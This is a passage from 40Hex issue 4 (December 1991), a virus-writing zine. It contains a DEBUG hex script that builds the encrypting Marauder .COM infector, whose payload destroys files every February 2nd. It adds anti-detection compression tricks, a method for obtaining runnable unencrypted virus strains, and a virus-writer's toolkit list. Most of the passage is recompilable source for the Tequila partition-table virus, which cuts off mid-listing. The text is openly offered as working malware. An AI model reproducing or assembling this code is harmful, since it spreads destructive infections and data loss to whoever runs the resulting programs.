  913.     completed yet.  Well anyway here's my personal latest creation -
  914.     Marauder.  What Marauder is, is this ----
  915.  
  916. Marauder Virus
  917. By Hellraiser
  918. of Phalcon/Skism
  919.  
  920. Aliases: Deadpool-B, 808-B, 860.
  921.  
  922. Marauder is a non-overwriting, non-resident, encrypting, semi-mutating,
  923. .COM file infector.
  924.  
  925. When a file is infected with the Marauder Virus the virus will search
  926. the current path for a .COM file and infect it, adding 860 bytes to the
  927. files size.  If not .COM files reside in the current directory, the
  928. virus will go up one directory and check for .COM files to infect untill
  929. it reaches the root.  At the root directory the virus will scan for
  930. other directorys to find .COM files, until one uninfected .COM file is
  931. found.  If no .COM files are found on the disk the virus will terminate
  932. it search and return to the currently running program.
  933.  
  934. If an infected file is run on Feburary second of any year, the virus
  935. will destroys all files in the current directory, by overwritting them
  936. with message code.  The files will not run when executed, just terminate
  937. upon reading the first line.  There is no way to recover the files once
  938. the virus destroys them.  After this control will be given back to the
  939. host program.
  940.  
  941. The Maruder virus is able to infect any .COM file no matter what
  942. attribute... Hidden, System, Read-Only, etc... The files date, time, and
  943. attribute will not be changed after a file becomes infected.
  944.  
  945. The virus will not cause a system error if run on a write-protected
  946. floppy or fixed-disk, merely terminate any attempt of infection.
  947.  
  948. The virus will not infect files under 16 bytes or over 64,675 bytes.
  949.  
  950. For the most part the virus is randomly encrypted with each passing
  951. infection, the small part of the program code which is not encrypted
  952. mutates between two different, but comaptable strain of bytes.
  953.  
  954. There is not way of detecting the virus infections other than the
  955. addition of 860 bytes to infected files, in other words, system-run time
  956. is not affected at all.  If any run-time is affected it is the split
  957. second it takes for the virus to infect a file.
  958.  
  959. The virus causes no damage to disk sectors or boot records etc... The
  960. only perminate damage is the destuction of all files in the current
  961. directory on 02/02/XX.
  962.  
  963. And here it is...
  964.  
  965. -------------------------------------------------------------------------------
  966. n target.com
  967. e 0100  E9 61 00 88 68 69 73 20 66 69 6C 65 20 69 73 20
  968. e 0110  69 6E 66 65 63 74 65 64 20 77 69 74 68 20 74 68
  969. e 0120  65 20 4D 61 72 61 75 64 65 72 20 76 69 72 75 73
  970. e 0130  2E 20 31 39 39 32 2C 20 48 65 6C 6C 72 61 69 73
  971. e 0140  65 72 20 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D
  972. e 0150  2E 0D 0A 24 20 20 20 20 20 20 20 B4 09 BA 03 01
  973. e 0160  CD 21 CD 20 E8 00 00 5E 81 EE 0E 01 E8 05 00 E9
  974. e 0170  85 00 3A 28 8B EE 81 C6 65 04 8B FE 50 53 51 52
  975. e 0180  B9 8F 01 FD AD 33 86 19 01 AB E2 F8 5A 59 5B 58
  976. e 0190  8B F5 C3 E8 DE FF CD 21 E8 D9 FF C3 7A 6B 7B 6A
  977. e 01A0  91 B5 13 99 FC 93 D4 51 13 99 EC EE 99 E7 4A 49
  978. e 01B0  4B 48 99 FC 93 D4 77 16 99 EC 42 41 43 40 AB 9D
  979. e 01C0  13 EF 48 4B 49 4A 99 E7 DF 32 32 49 5F 73 60 73
  980. e 01D0  67 76 77 60 4F 32 23 2B 2B 20 32 5A 77 7E 7E 60
  981. e 01E0  73 7B 61 77 60 32 3F 32 42 7A 73 7E 71 7D 7C 3D
  982. e 01F0  41 79 7B 61 7F 3C 1A 2E 82 0C 0F E5 1B A1 A6 76
  983. e 0200  3E A4 BE 48 3E 2F 82 0C 1F A5 AE 4A 3E E5 1B 7E
  984. e 0210  8E 6F 08 FA BB EE EC 2C F7 09 64 9C 23 E5 1B 2C
  985. e 0220  7B A0 BE FB 3E 90 00 74 B3 AC EE 2C 6C 75 B7 9E
  986. e 0230  75 2C B7 96 69 2C 83 2C 3A D4 C9 8C 6F 76 8E 32
  987. e 0240  B7 BC 55 2C F7 09 8E 02 F7 09 BB D2 38 2A 4F 2B
  988. e 0250  D3 96 3B 9C 74 A5 AE 10 3E 91 3D 28 F7 09 49 6C
  989. e 0260  8E 32 B7 BC 22 2D F7 09 8E 13 B7 BC 78 2C F7 09
  990. e 0270  48 2A D1 E2 BA 94 67 2C 3B 5C 23 98 3B A0 BE 75
  991. e 0280  3E 9C 74 1B F3 99 29 A5 AE 16 3E E5 1B 5B 33 C1
  992. e 0290  69 29 AA B8 8E 67 D1 DB 8E 13 B7 BC 0C 2D F7 09
  993. e 02A0  48 DA D1 B2 B1 B4 BE 2C B3 B4 71 2C 82 29 79 1B
  994. e 02B0  F3 A5 AE A5 3E E5 1B 5A 05 C0 A0 29 48 12 B3 AC
  995. e 02C0  76 2C B1 B4 BD 2C B3 B4 7D 2C B1 B4 BF 2C B3 B4
  996. e 02D0  73 2C A9 9C 05 91 3E 28 B7 BC 75 2C F7 09 BA 94
  997. e 02E0  68 2C B2 5D 1F 90 3B 6B B1 A4 71 2C B7 BC B7 2C
  998. e 02F0  08 C5 F7 09 8E 16 F7 09 07 2D 3A 5C 30 15 38 28
  999. e 0300  4E 2D 8E 67 D3 7D C5 C1 E1 28 BB 94 75 2C 77 72
  1000. e 0310  4E FB D2 1F 3B 15 2A 28 48 E3 07 B7 C6 5B FC 05
  1001. e 0320  39 28 B2 8C 63 2C B2 AC 62 2C FC AC 60 2C B2 B8
  1002. e 0330  8E C1 B2 8C 6D 2C 08 E8 B2 AC 67 2C C5 AC 7F 2C
  1003. e 0340  B1 C6 D2 CF 3A 9C 16 E5 1B AB C0 28 4E DF B3 BC
  1004. e 0350  23 29 8B 20 E9 E2 B3 BC 61 2C BA D2 24 56 39 C3
  1005. e 0360  1A B8 B7 9E 79 29 B7 96 21 29 83 38 3A C0 82 28
  1006. e 0370  B7 9E 69 29 B7 96 09 29 83 2E 3A C0 90 28 D1 35
  1007. e 0380  AA A5 8C 71 3B A5 84 33 3B 91 2A 28 D2 B1 3A A5
  1008. e 0390  8C 41 3B A5 84 1B 3B 91 3C 28 D2 A3 3A C0 B6 28
  1009. e 03A0  B1 DD 8E 68 83 7F 39 AB FB 2D B7 BC 31 29 D2 CA
  1010. e 03B0  C7 5A 34 C0 B6 28 8E 68 83 2C 3A A5 AE 7F 3E E5
  1011. e 03C0  1B 90 3B 7F B1 A4 73 2C B1 BC 7D 2C B1 B4 76 2C
  1012. e 03D0  F7 09 8E 16 F7 09 82 29 79 A3 B6 63 3E A5 AE A5
  1013. e 03E0  3E 1A D7 E5 1B 9C 01 A5 AE FB 3E E5 1B 9C 20 92
  1014. e 03F0  BA 28 F7 09 6C 75 82 0C 1F A5 AE 76 3E E5 1B A5
  1015. e 0400  8C 7B 3E 97 3A 29 83 2C 3A D4 C9 8C 85 28 3B D7
  1016. e 0410  DD C0 22 28 8E 66 83 2F 3A A5 AE 16 3E E5 1B 5A
  1017. e 0420  F6 C0 06 28 8E 67 D1 DD C6 DB 9E EB B1 DD BB EE
  1018. e 0430  79 29 B1 D6 83 05 3A 85 09 AE 61 2C 91 CA C2 A3
  1019. e 0440  CF EB 82 28 78 1B F3 1B E8 E5 1B EB 82 2A 78 1B
  1020. e 0450  E8 1B F3 E5 1B EB 82 2A 07 A5 AE A5 3E E5 1B EB
  1021. e 0460  D2 DB C5 5A 11 A3 E2 7B D2 C9 C5 93 15 28 CD DB
  1022. e 0470  B1 E0 61 79 D2 E3 C5 71 6B 9C 7A 91 15 28 B7 BC
  1023. e 0480  55 29 F7 09 48 2E 63 61 D9 2A D1 C4 8E 16 F7 09
  1024. e 0490  F9 02 14 6B 75 65 3A 02 14 02 3A 06 14 28 3B 28
  1025. e 04A0  A2 3F 36 9E 1A 2D 3A 28 D1 71 AA 7C 33 E5 1A B8
  1026. e 04B0  D3 49 3A A0 12 12 3A 7E 3B 99 24 1A FA E7 B4 2E
  1027. rcx
  1028. 03C0
  1029. w
  1030. q
  1031. -------------------------------------------------------------------------------
  1032.  
  1033.  
  1034.  
  1035.  
  1036. 40Hex Issue 4                                            December 1991
  1037.  
  1038.                       Hacked Pklite File Scanning
  1039.                       ---------------------------
  1040.  
  1041.    In issue two, i belive it was.  I release a method of making Pklite
  1042.    files un-uncompressable and un-detectable.  Well seems a few people
  1043.    used the trick for wrong doing.  What do I mean by wrong doing you
  1044.    ask?  Well lets just say lame trojans and such.
  1045.  
  1046.    Anyway, I had a few sysops on my ass about the trick and so, so now I
  1047.    am must release.... The hacked Pklite scanning strings.   Well I
  1048.    could really give a fuck if someones BBS gets crashed, but then again
  1049.    I am freinds with a lot of sysops.  And besides I have a new trick
  1050.    anyway :)
  1051.  
  1052.    Well there are two strings.  One for .EXE files and one for .COM
  1053.    files.  And here they are.
  1054.  
  1055. -----------------------------------------------------------------------
  1056.  
  1057.    "01 F0 FF 50 00 00 00 03 01" Pklite EXE
  1058.    "53 33 DB 53 CB 03 01"       Pklite COM
  1059.  
  1060. ------------------------------------------------------------------------
  1061.  
  1062. What's my new trick???  Well I won't reveal it at this point... But here
  1063. is a another compression trick.  It lets you compress a file with Pklite
  1064. then again with LZExe.
  1065.  
  1066. First
  1067. -----
  1068.  
  1069. Compress the file with Pklite
  1070.  
  1071. Next
  1072. ----
  1073.  
  1074. Compress the file with LZExe
  1075.  
  1076. It wont let you cause the file becomes bigger...
  1077.  
  1078. But
  1079. ---
  1080.  
  1081. Use the DOS Undelete function to undelete the file ?zexe.tmp.  Thats the
  1082. twice compressed file.  Rename it to what you want.  Destroy the LZ
  1083. header... And there you have it...
  1084. 40Hex Issue 4                                            December 1991
  1085.  
  1086.              A Further Look Into Cracking Encrypted Virues
  1087.              ---------------------------------------------
  1088.  
  1089.  
  1090.     In Censor #1, Rabids' Data Disruptor showed a way to decrypt
  1091.     encrypted viruses.  The only problem with the method shown is that
  1092.     once you decrypt the virus, it cannot be run without modification.
  1093.     I wish to take his theory a little farther, with a different
  1094.     approch.
  1095.  
  1096.     There is a really simple way around the problem.  What you will
  1097.     need is a debugger.  I perfer Turbo Debugger, by Borland.  However
  1098.     if you are good at the DOS utility Debug, you may be able to follow
  1099.     along.
  1100.  
  1101.     The routine to unencrypt is simple, really simple.  What you will
  1102.     need to do is make a small target file for the virus to infect.  A
  1103.     100 byte of less file is perfered.
  1104.  
  1105.     Step One
  1106.     --------
  1107.  
  1108.     Copy the target file to a different filename to make two copies of
  1109.     the file.  Example - COPY TARGET.COM DUDE.COM
  1110.  
  1111.     Step Two
  1112.     --------
  1113.  
  1114.     Infect one of the files, however the virus infectes the file.
  1115.     Remember just infect one of the files.
  1116.  
  1117.     Step Three
  1118.     ----------
  1119.  
  1120.     Load up you dubugger (I'm gonna give Turbo Debugger steps, so people
  1121.     with Debug and the Microsoft Debugger will have to improvise) and
  1122.     get ready to single step through the virus.
  1123.  
  1124.     Step Four
  1125.     ---------
  1126.  
  1127.     Start single stepping through the virus.  If the virus is encrypted
  1128.     you will hit a loop somwhere near the beginning of the code.   In
  1129.     most cases this is an XOR loop.  It will look something like this...
  1130.             
  1131.     add si, [1234]    ;
  1132.     mov di, si        ;
  1133.     mov cx, 0123      ; this would be the virus size to unencrypt
  1134.  *  mov al, [0105]    ; this is the encryption value's offset or the
  1135.                       ; actual encryption value if no brackets are
  1136.                       ; around it
  1137.     cli               ; auto increment
  1138.     lodsb             ; load byte from si position
  1139.     xor ah, al        ; xor byte at si
  1140.     stosb             ; store it a di (same as si)
  1141.     loop 0110         ; loop until cx=0 NOTE: 0110 will be an offset
  1142.     ret               ; return when done
  1143.  
  1144.     Where the "*" is, will be either the location of the encryption
  1145.     value, or the actual encryption value if no brackets are around it.
  1146.     If there are no brackets, keep that number in mind.  Otherwise write
  1147.     the offset down.
  1148.  
  1149.     Step Five
  1150.     ---------
  1151.  
  1152.     When the encryption procedure is done the virus is then unencrypted.
  1153.     If you were to write the virus to disk now, it would not run.  Cause
  1154.     as soon as the virus runs it encrypts itself and then jumps into the
  1155.     encrypted code.
  1156.  
  1157.     Follow the program to the part where the virus is about to write the
  1158.     virus to the host program.  It will again call on the encryption
  1159.     routine.
  1160.  
  1161.   * Here it is again, but this time, before it XORs anything load the
  1162.     encryption value with 0's.  If it is a bytes value load it with 00,
  1163.     if it is a word value load it with 0000 as in...
  1164.  
  1165.     
  1166.     add si, [1234]    ;
  1167.     mov di, si        ;
  1168.     mov cx, 0123      ; this would be the virus size to unencrypt
  1169.   * mov al, 00        ; change the encryption value to zero, thus the
  1170.                       ; encryption will not take place at all.  Instead
  1171.                       ; the virus will produce an original strain.
  1172.     cli               ; auto increment
  1173.     lodsb             ; load byte from si position
  1174.     xor ah, al        ; xor byte at si
  1175.     stosb             ; store it a di (same as si)
  1176.     loop 0110         ; loop until cx=0 NOTE: 0110 will be an offset
  1177.     ret               ; return when done
  1178.  
  1179.     Now run the program at full speed.  The next file the virus infects
  1180.     will be unencrypted, and executable.
  1181.  
  1182.     NOTE: This method will work only for the types of viruses that use
  1183.     this type of encryption.  Mainly non-resident .COM and .EXE
  1184.     infectors.  In other words, don't go thinking this trick will work
  1185.     on Whale or anything.
  1186.  
  1187.  
  1188.  
  1189.  
  1190. 40Hex Issue 4                                            December 1991
  1191.  
  1192.                  The Ultimate Virus Programmers Toolkit
  1193.                  --------------------------------------
  1194.  
  1195.     Just thought it would be funny to list what I think is the ulitmate
  1196.     virus programmers toolkit.  Theroys may vary.
  1197.  
  1198.     - Turbo Assembler (MASM sucks, and it is slow)
  1199.     - Turbo Debugger (It rules, what else can I say?)
  1200.     - Quick Edit (Small, Fast and Turbo-like keys)
  1201.     - Sourcer 486 (The ONLY real dissembler out)
  1202.     - Virus Scan by McAffe Asst. (It really is a great tool)
  1203.     - VSUM (Patti Hoffman is a stupid bitch, but I must admit, this
  1204.             program is the virus underground bible)
  1205.     - VSAFE from Central Point Anti-Virus (Not as annoying as Flu-Shot)
  1206.     - Pklite Proffesional (If you don't have it - get it)
  1207.     - Norton 6.0 (Diskedit alone is worth the d/l time)
  1208.     - Pc-Backup by Central Point (we all fuck up sooner or later)
  1209.     - MEMWALK.EXE (great shareware program, like diskedit for memory)
  1210.     - Teledisk (for boot block virus saves)
  1211.     - Trunc - by Skism Programming (Electronic file shredder)
  1212.     - Microsoft Press Quick Reference Series
  1213.                - DOS Functions  (INT 20 - 26)
  1214.                - ROM and BIOS functions (INT 10, 15 - 16)
  1215.                - MS DOS extentions (Expaned, extended memory interupts)
  1216.     - _Undocumented DOS_ or any current text file on the subject-
  1217.     - 40HEX magazine (Well I do have good stuff here, sometimes)
  1218.     - Dark Angel's Phunky Virus writing guide (pretty hard to come by.
  1219.                                                He expalins stuff well)
  1220.     - The following source code
  1221.                - Leprosy-B (beginers only on this one, none-the-less)
  1222.                - Cancer (well documented, intermediate)
  1223.                - Tiny-F (not bad intro to .COM infections)
  1224.                - Dark Avenger (well availible and excellent tips on .EXE
  1225.                                infection)
  1226.                - Stoned II (boot block intro)
  1227.                - Secure 2.0 (I got the source to this.  It is a virus
  1228.                              detection system from the guy who wrote
  1229.                              1260, Mark Washburn.  The source has some
  1230.                              great examples on debug trapping, TSR
  1231.                              skills, and encryption)
  1232.                - IBM Scan source (I have this too, it's funny... Kinda
  1233.                                   like McAfee's SCAN but lamer.  By
  1234.                                   David Chess)
  1235.     - An account on the Bulgerian Virus Exchange +359-220-4198
  1236.     - An account on a BBS with Fido-Nets' virus echo (keep track of your
  1237.                                                      latest score)
  1238.     - Many accounts on the Homebase BBS (408) 988-4004 2400 bps
  1239.                                         (408) 988-5138 HST 9600
  1240.                                         (408) 988-5190 v32 9600
  1241.       (Tell Areyh I sent ya')
  1242.     - Scientific Calculator (Hex aint easy)
  1243.     - Vivaren (Helps you break night, or any other controlled substance)
  1244.     - Food, smokes, or whatever your vice is...
  1245.  
  1246.  
  1247.     That'll do it...
  1248. 40Hex Issue 4                                            December 1991
  1249.  
  1250.                        The Tequila Virus Source
  1251.                        -------------------------
  1252.  
  1253.     Nuff' said.
  1254.  
  1255. -------------------------------------------------------------------------------
  1256.                    ;=============================
  1257.                    ;      the tequila virus     =
  1258.                    ;        a recompilable      =
  1259.                    ;         dis-assembly       =
  1260.                    ;    specifically designed   =
  1261.                    ; for assembly to a COM file =
  1262.                    ;  with the A86 assembler.   =
  1263.                    ;     ++++++++++++++++++     =
  1264.                    ; If you desire a "perfect"  =
  1265.                    ; byte for byte source code  =
  1266.                    ;match-up, the MASM assembler=
  1267.                    ; must be used and the noted =
  1268.                    ;instructions must be changed=
  1269.                    ; to comply with MASM syntax.=
  1270.                    ; In addition, all byte and  =
  1271.                    ;word pointer references must=
  1272.                    ; be changed from B and W to =
  1273.                    ;   BYTE POINTER and WORD    =
  1274.                    ;          POINTER.          =
  1275.                    ;=============================
  1276.  
  1277.  
  1278. CODE_SEG   SEGMENT
  1279. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  1280. ORG 0100
  1281. TEQUILA PROC NEAR
  1282.  
  1283. JMP START
  1284.  
  1285.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  1286.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  1287.  
  1288.   DB 00DH, 00AH, 00DH, 00AH
  1289.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  1290.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  1291.   DB "Switzerland.", 00DH, 00AH
  1292.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  1293.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  1294.   DB "$"
  1295.  
  1296.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  1297.  
  1298.  
  1299. PROGRAM_TERMINATION_ROUTINE:
  1300.    PUSH BP
  1301.    MOV BP,SP
  1302.    SUB SP,0CH
  1303.    PUSH AX
  1304.    PUSH BX
  1305.    PUSH CX
  1306.    PUSH DX
  1307.    PUSH SI
  1308.    PUSH DI
  1309.    PUSH ES
  1310.    PUSH DS
  1311.    PUSH CS
  1312.    POP DS
  1313.    MOV AX,W[6]
  1314.    INC AX
  1315.    JE 0243H           ;Masm Mod. Needed
  1316.    DEC AX
  1317.    JNE 020DH           ;Masm Mod. Needed
  1318.    DEC W[8]           ;Masm Mod. Needed
  1319.    JNE 0243H           ;Masm Mod. Needed
  1320.    JMP 0246H           ;Masm Mod. Needed
  1321.    MOV AH,02AH
  1322.    CALL INT_21
  1323.    MOV SI,CX
  1324.    MOV CX,W[8]
  1325.    CMP CL,DL
  1326.    JNE 022FH           ;Masm Mod. Needed
  1327.    MOV AX,SI
  1328.    SUB AX,W[6]
  1329.    MUL B[011H]           ;Masm Mod. Needed
  1330.    ADD AL,DH
  1331.    ADD CH,3
  1332.    CMP AL,CH
  1333.    JAE 0237H           ;Masm Mod. Needed
  1334.    MOV W[6],0FFFFH           ;Masm Mod. Needed
  1335.    JMP 0243H           ;Masm Mod. Needed
  1336.    MOV W[6],0           ;Masm Mod. Needed
  1337.    MOV W[8],3           ;Masm Mod. Needed
  1338.    JMP 02DF           ;Masm Mod. Needed
  1339.    MOV BX,0B800H
  1340.    INT 011
  1341.    AND AX,030H
  1342.    CMP AX,030H
  1343.    JNE 0256H           ;Masm Mod. Needed
  1344.    MOV BX,0B000H
  1345.    MOV ES,BX
  1346.    XOR BX,BX
  1347.    MOV DI,0FD8FH
  1348.    MOV SI,0FC18H
  1349.    MOV W[BP-2],SI
  1350.    MOV W[BP-4],DI
  1351.    MOV CX,01E
  1352.    MOV AX,W[BP-2]
  1353.    IMUL AX
  1354.    MOV W[BP-8],AX
  1355.    MOV W[BP-6],DX
  1356.    MOV AX,W[BP-4]
  1357.    IMUL AX
  1358.    MOV W[BP-0C],AX
  1359.    MOV W[BP-0A],DX
  1360.    ADD AX,W[BP-8]
  1361.    ADC DX,W[BP-6]
  1362.    CMP DX,0F
  1363.    JAE 02B0           ;Masm Mod. Needed
  1364.    MOV AX,W[BP-2]
  1365.    IMUL W[BP-4]
  1366.    IDIV W[0F]           ;Masm Mod. Needed
  1367.    ADD AX,DI
  1368.    MOV W[BP-4],AX
  1369.    MOV AX,W[BP-8]
  1370.    MOV DX,W[BP-6]
  1371.    SUB AX,W[BP-0C]
  1372.    SBB DX,W[BP-0A]
  1373.    IDIV W[0D]           ;Masm Mod. Needed
  1374.    ADD AX,SI
  1375.    MOV W[BP-2],AX
  1376.    LOOP 0269           ;Masm Mod. Needed
  1377.    INC CX
  1378.    SHR CL,1
  1379.    MOV CH,CL
  1380.    MOV CL,0DB
  1381.    ES MOV W[BX],CX           ;Masm Mod. Needed
  1382.    INC BX
  1383.    INC BX
  1384.    ADD SI,012
  1385.    CMP SI,01B8
  1386.    JL 0260           ;Masm Mod. Needed
  1387.    ADD DI,034
  1388.    CMP DI,02A3
  1389.    JL 025D           ;Masm Mod. Needed
  1390.    XOR DI,DI
  1391.    MOV SI,0BB
  1392.    MOV CX,02D
  1393.    CLD
  1394.    MOVSB
  1395.    INC DI
  1396.    LOOP 02D7           ;Masm Mod. Needed
  1397.    XOR AX,AX
  1398.    INT 016
  1399.    POP DS
  1400.    POP ES
  1401.    POP DI
  1402.    POP SI
  1403.    POP DX
  1404.    POP CX
  1405.    POP BX
  1406.    POP AX
  1407.    MOV SP,BP
  1408.    POP BP
  1409.    RET
  1410.  
  1411. PRINT_MESSAGE:
  1412.    PUSH DX
  1413.    PUSH DS
  1414.    PUSH CS
  1415.    POP DS
  1416.    MOV AH,9
  1417.    MOV DX,012
  1418.    CALL INT_21
  1419.    POP DS
  1420.    POP DX
  1421.    RET
  1422.  
  1423. NEW_PARTITION_TABLE:
  1424.    CLI
  1425.    XOR BX,BX
  1426.    MOV DS,BX
  1427.    MOV SS,BX
  1428.    MOV SP,07C00
  1429.    STI
  1430.    XOR DI,DI
  1431.    SUB W[0413],3           ;Masm Mod. Needed
  1432.    INT 012
  1433.    MOV CL,6
  1434.    SHL AX,CL
  1435.    MOV ES,AX
  1436.    PUSH ES
  1437.    MOV AX,022A
  1438.    PUSH AX
  1439.    MOV AX,0205
  1440.    MOV CX,W[07C30]
  1441.    INC CX
  1442.    MOV DX,W[07C32]
  1443.    INT 013
  1444.    RETF
  1445.  
  1446. DB 002, 0FE                      
  1447. DB 04C, 0E9 
  1448. DB 080, 004                
  1449.  
  1450.    PUSH CS
  1451.    POP DS
  1452.    XOR AX,AX
  1453.    MOV ES,AX
  1454.    MOV BX,07C00
  1455.    PUSH ES
  1456.    PUSH BX
  1457.    MOV AX,0201
  1458.    MOV CX,W[0226]
  1459.    MOV DX,W[0228]
  1460.    INT 013
  1461.    PUSH CS
  1462.    POP ES
  1463.    CLD
  1464.    MOV SI,0409
  1465.    MOV DI,09BE
  1466.    MOV CX,046
  1467.    REP MOVSB
  1468.    MOV SI,091B
  1469.    MOV DI,0A04
  1470.    MOV CX,045
  1471.    REP MOVSB
  1472.    CLI
  1473.    XOR AX,AX
  1474.    MOV ES,AX
  1475.    ES LES BX,[070]           ;Masm Mod. Needed
  1476.    MOV W[09B0],BX           ;Masm Mod. Needed
  1477.    MOV W[09B2],ES           ;Masm Mod. Needed
  1478.    MOV ES,AX
  1479.    ES LES BX,[084]           ;Masm Mod. Needed
  1480.    MOV W[09B4],BX           ;Masm Mod. Needed
  1481.    MOV W[09B6],ES           ;Masm Mod. Needed
  1482.    MOV ES,AX
  1483.    ES MOV W[070],044F           ;Masm Mod. Needed
  1484.    ES MOV W[072],DS           ;Masm Mod. Needed
  1485.    STI
  1486.    RETF
  1487.  
  1488. INSTALL:
  1489.    CALL NEXT_LINE
  1490.  NEXT_LINE:
  1491.    POP SI
  1492.    SUB SI,028F
  1493.    PUSH SI
  1494.    PUSH AX
  1495.    PUSH ES
  1496.    PUSH CS
  1497.    POP DS
  1498.    MOV AX,ES
  1499.    ADD W[SI+2],AX
  1500.    ADD W[SI+4],AX
  1501.    DEC AX
  1502.    MOV ES,AX
  1503.    MOV AX,0FE02
  1504.    INT 021
  1505.    CMP AX,01FD
  1506.    JE NO_PARTITION_INFECTION
  1507.    ES CMP B[0],05A           ;Masm Mod. Needed
  1508.    JNE NO_PARTITION_INFECTION
  1509.    ES CMP W[3],0BB           ;Masm Mod. Needed
  1510.    JBE NO_PARTITION_INFECTION
  1511.    ES MOV AX,W[012]           ;Masm Mod. Needed
  1512.    SUB AX,0BB
  1513.    MOV ES,AX
  1514.    XOR DI,DI
  1515.    MOV CX,09A4
  1516.    CLD
  1517.    REP MOVSB
  1518.    PUSH ES
  1519.    POP DS
  1520.    CALL INFECT_PARTITION_TABLE
  1521.  NO_PARTITION_INFECTION:
  1522.    POP ES
  1523.    POP AX
  1524.    PUSH ES
  1525.    POP DS
  1526.    POP SI
  1527.    CS MOV SS,W[SI+4]           ;Masm Mod. Needed
  1528.  CHAIN_TO_THE_HOST_FILE:
  1529.    CS JMP D[SI]           ;Masm Mod. Needed
  1530.  
  1531. INFECT_PARTITION_TABLE:
  1532.    MOV AH,02A
  1533.    INT 021
  1534.    MOV W[6],CX           ;Masm Mod. Needed
  1535.    MOV W[8],DX           ;Masm Mod. Needed
  1536.    MOV AH,052
  1537.    INT 021
  1538.    ES MOV AX,W[BX-2]           ;Masm Mod. Needed
  1539.    MOV W[03E8],AX           ;Masm Mod. Needed
  1540.    MOV AX,03513
  1541.    INT 021
  1542.    MOV W[09A0],BX           ;Masm Mod. Needed
  1543.    MOV W[09A2],ES           ;Masm Mod. Needed
  1544.    MOV AX,03501
  1545.    INT 021
  1546.    MOV SI,BX
  1547.    MOV DI,ES
  1548.    MOV AX,02501
  1549.    MOV DX,03DA
  1550.    INT 021
  1551.    MOV B[0A],0           ;Masm Mod. Needed
  1552.    PUSHF
  1553.    POP AX
  1554.    OR AX,0100
  1555.    PUSH AX
  1556.    POPF
  1557.    MOV AX,0201
  1558.    MOV BX,09A4
  1559.    MOV CX,1
  1560.    MOV DX,080
  1561.    PUSH DS
  1562.    POP ES
  1563.    PUSHF
  1564.    CALL D[09A0]           ;Masm Mod. Needed
  1565.    PUSHF
  1566.    POP AX
  1567.    AND AX,0FEFF
  1568.    PUSH AX
  1569.    POPF
  1570.    PUSHF
  1571.    MOV AX,02501
  1572.    MOV DX,SI
  1573.    MOV DS,DI
  1574.    INT 021
  1575.    POPF
  1576.    JAE 0450           ;Masm Mod. Needed
  1577.    JMP RET           ;Masm Mod. Needed
  1578.    PUSH ES
  1579.    POP DS
  1580.    CMP W[BX+02E],0FE02
  1581.    JNE 045C           ;Masm Mod. Needed
  1582.    JMP RET           ;Masm Mod. Needed
  1583.    ADD BX,01BE
  1584.    MOV CX,4
  1585.    MOV AL,B[BX+4]
  1586.    CMP AL,4
  1587.    JE 0479           ;Masm Mod. Needed
  1588.    CMP AL,6
  1589.    JE 0479           ;Masm Mod. Needed
  1590.    CMP AL,1
  1591.    JE 0479           ;Masm Mod. Needed
  1592.    ADD BX,010
  1593.    LOOP 0463           ;Masm Mod. Needed
  1594.    JMP SHORT RET           ;Masm Mod. Needed
  1595.    MOV DL,080
  1596.    MOV DH,B[BX+5]
  1597.    MOV W[0228],DX           ;Masm Mod. Needed
  1598.    MOV AX,W[BX+6]
  1599.    MOV CX,AX
  1600.    MOV SI,6
  1601.    AND AX,03F
  1602.    CMP AX,SI
  1603.    JBE RET           ;Masm Mod. Needed
  1604.    SUB CX,SI
  1605.    MOV DI,BX
  1606.    INC CX
  1607.    MOV W[0226],CX           ;Masm Mod. Needed
  1608.    MOV AX,0301
  1609.    MOV BX,09A4
  1610.    PUSHF
  1611.    CALL D[09A0]           ;Masm Mod. Needed
  1612.    JB RET           ;Masm Mod. Needed
  1613.    DEC CX
  1614.    MOV W[DI+6],CX
  1615.    INC CX
  1616.    SUB W[DI+0C],SI
  1617.    SBB W[DI+0E],0
  1618.    MOV AX,0305
  1619.    MOV BX,0
  1620.    INC CX
  1621.    PUSHF
  1622.    CALL D[09A0]           ;Masm Mod. Needed
  1623.    JB RET           ;Masm Mod. Needed
  1624.    MOV SI,01F6
  1625.    MOV DI,09A4
  1626.    MOV CX,034
  1627.    CLD
  1628.    REP MOVSB
  1629.    MOV AX,0301
  1630.    MOV BX,09A4
  1631.    MOV CX,1
  1632.    XOR DH,DH
  1633.    PUSHF
  1634.    CALL D[09A0]           ;Masm Mod. Needed
  1635.    RET
  1636.  
  1637. NEW_INTERRUPT_ONE:
  1638.    PUSH BP
  1639.    MOV BP,SP
  1640.    CS CMP B[0A],1           ;Masm Mod. Needed
  1641.    JE 0506           ;Masm Mod. Needed
  1642.    CMP W[BP+4],09B4
  1643.    JA 050B           ;Masm Mod. Needed
  1644.    PUSH AX
  1645.    PUSH ES
  1646.    LES AX,[BP+2]
  1647.    CS MOV W[09A0],AX           ;Masm Mod. Needed
  1648.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  1649.    CS MOV B[0A],1
  1650.    POP ES
  1651.    POP AX
  1652.    AND W[BP+6],0FEFF
  1653.    POP BP
  1654.    IRET
  1655.  
  1656. NEW_INTERRUPT_13:
  1657.    CMP CX,1
  1658.    JNE 054E           ;Masm Mod. Needed
  1659.    CMP DX,080
  1660.    JNE 054E           ;Masm Mod. Needed
  1661.    CMP AH,3
  1662.    JA 054E           ;Masm Mod. Needed
  1663.    CMP AH,2
  1664.    JB 054E           ;Masm Mod. Needed
  1665.    PUSH CX
  1666.    PUSH DX
  1667.    DEC AL
  1668.    JE 0537           ;Masm Mod. Needed
  1669.    PUSH AX
  1670.    PUSH BX
  1671.    ADD BX,0200
  1672.    INC CX
  1673.    PUSHF
  1674.    CS CALL D[09A0]           ;Masm Mod. Needed
  1675.    POP BX
  1676.    POP AX
  1677.    MOV AL,1
  1678.    CS MOV CX,W[0226]           ;Masm Mod. Needed
  1679.    CS MOV DX,W[0228]           ;Masm Mod. Needed
  1680.    PUSHF
  1681.    CS CALL D[09A0]           ;Masm Mod. Needed
  1682.    POP DX
